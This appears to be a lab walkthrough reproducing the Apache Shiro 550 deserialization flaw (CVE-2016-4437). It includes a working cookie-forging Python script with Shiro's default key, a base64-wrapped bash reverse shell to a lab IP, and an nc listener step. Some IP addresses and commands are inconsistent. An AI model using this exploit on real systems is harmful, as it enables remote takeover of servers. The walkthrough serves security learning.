CVE-2016-4437(Apache Shiro反序列化漏洞复现Shiro550)
Apache Shiro反序列化漏洞复现(Shiro550,CVE-2016-4437)
0x01 漏洞简介
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
影响版本 Shiro <= 1.2.4
### 0x02 环境准备
docker(192.168.18.132)
Kali(192.168.18.133)
环境准备:
1.漏洞环境
Docker pull medicean/vulapps:s_shiro_1获取docker镜像
systemctl start docker重启docker
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1启动环境把8080端口改为80端口
2.攻击工具
1)pip3 install pycrypto安装python中的pycrypto
2)apt install maven安装MVN
mvn –version验证
安装Open JDK 11
Debian 10 默认安装的 OpenJDK 11 可以满足运行基于 OpenJDK 开发的 java 应用程序。如果你想使用javac命令编译代码,那么你还需要再完成安装一下。通过以下命令即可完成:
sudo apt-get update
sudo apt-get install default-jdk
安装完成后可以通过以下命令校验安装结果。打开命令终端,输入:
java -version
3)git clone https://github.com/frohoff/ysoserial.git # 安装java反序列化payload集成包ysoseri
cd ysoserial
mvn package -DskipTest
4)生成payload的python脚本test.py上传至/root/ysoserial/target:
1 import sys 2 import base64 3 import uuid 4 from random import Random 5 import subprocess 6 from Crypto.Cipher import AES 7 8 def encode_rememberme(command): 9 popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) 10 BS = AES.block_size 11 pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 12 key = "kPH+bIxk5D2deZiIxcaaaA==" 13 mode = AES.MODE_CBC 14 iv = uuid.uuid4().bytes 15 encryptor = AES.new(base64.b64decode(key), mode, iv) 16 file_body = pad(popen.stdout.read()) 17 base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 18 return base64_ciphertext 19 20 if __name__ == '__main__': 21 payload = encode_rememberme(sys.argv[1]) 22 with open("/tmp/payload.cookie", "w") as fpw: 23 print("rememberMe={}".format(payload.decode()), file=fpw)
0x03 进攻复现
漏洞扫描:
攻击机ip为33,靶机为32
此时漏洞环境已经搭建成功,如下所示:
攻击机192.168.10.158访问靶机144并抓包可看到有rememberme字样的cookie
漏洞利用:
反弹命令进行加密https://x.hacking8.com/?post=293
bash -i >& /dev/tcp/192.168.18.33/1111 0>&1
加密后如下
>bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
在tmp目录下生成payload.cookie
>python test.py bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4LjEzMy8xMTExIDA+JjE=}|{base64,-d}|{bash,-i
将这个伪造的cookie值需要复制到响应包有remember值的包发送得到反弹shell;同时攻击机多开命令框进行nc的一个端口监听nc -lvvp 1111,然后再发送伪造的cookie值,
点击发送伪造的包,此时就能获得靶机的反弹shell